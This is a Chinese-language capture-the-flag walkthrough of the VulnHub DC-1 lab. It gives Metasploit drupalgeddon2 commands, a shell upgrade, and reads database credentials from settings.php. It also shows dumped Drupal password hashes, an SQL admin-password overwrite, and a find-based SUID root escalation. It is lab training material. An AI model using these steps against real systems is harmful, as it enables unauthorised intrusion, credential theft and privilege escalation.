【vulnhub靶场】-dc1

1、环境配置：
kali：88.16.153.33
dc1：88.16.153.36
补充：kali需设为桥接模式，因为dc靶机打开需要登录，kali设为桥接模式后与dc1在同一个局域网内，可以在kali中扫描得知dc1的ip地址；dc1的下载地址：https://www.vulnhub.com/entry/dc-1-1,292/
需要找到5个flag.txt
2、信息收集：
2.1 使用arp-scan -l,探测存活主机，也可使用nmap 88.16.153.33/24(较慢）

2.使用nmap查询开放端口，开放了22、80、111端口

3、渗透
3.1 经过信息收集，得知CMS为drupal7，百度drupal7存在的漏洞，发现一个sql注入漏洞，进行检测时也有sql报错，但利用此漏洞添加账号密码未成功（可能是我利用过程出错）
3.2 然后在kali中启动msfconsole，查找一下可用的exp

选择18年的，其他的利用未成功
use exploit/unix/webapp/drupal_drupalgeddon2
options
set RHOST 88.16.153.36
run


在meterpreter shell下执行的命令有限，输入shell命令进入目标机Shell下面，接着输入python -c ‘import pty;pty.spawn(“/bin/bash”)’，生成一个交互shell

使用ls，查看当前目录下有无flag.txt

切换到根目录，查看系统中存在flag文件

尝试查找文件内容中包含flag的文件，grep -r flag / ，太多了，所以先去查看flag1.txt和flag4.txt
flag1.txt中提到了配置文件，百度一下drupal的配置文件为settings.php，使用
find / -name settings.php的文件目录

查看该文件内容，发现了flag2，暴力和字典攻击不是只有获得访问权限的方法（您将需要访问权限），下面还有mysql数据库的用户名密码，那么应该是需要连接mysql数据库，mysql -u dbuser -p，然后输入密码

show databases;
use drupaldb;
show tables;
select * from users;

可以得到owned，对应加密密码$S$D4MRokGzqKd1pGaX7iHhpXVkE1uaWaOfoDVxIIbzk40jpnwVWeVN
可以得到fred，对应加密密码$S$D4MRokGzqKd1pGaX7iHhpXVkE1uaWaOfoDVxIIbzk40jpnwVWeVN
可以破解对应密码（使用hashcat），也可以新增或者修改用户名密码(这里密码一样，是我在第一次练靶场时，进行了修改）
百度drupal更改管理员密码的方法，参考https://drupalchina.cn/node/2128，

连接mysql数据库，对密码进行更改
update users set pass=“$S$DZHLkCVdzoD61OZrPFDwSDKEVwjJOccHTcyBAoxHUoBKFtnqx/EC” where uid=1;

访问网站进行登录

获得flag3，目前已获得flag1、flag2、flag3、flag4
查看flag4，cat /home/flag4/flag4.txt

需要查看root目录下，那就需要提权,首先进行信息收集，测试是否可以进行内核溢出漏洞、suid等
首先是内核溢出漏洞提权：
在本地搭建一个临时的web站点，在获得的shell中找一个可执行的目录，然后远程下载linux-exploit-suggester-2.pl

不存在；
尝试suid提权，查找具有root权限的SUID的文件

find可以利用，使用find 提权find . -exec /bin/sh ; -quit，提权成功，找到最后一个flag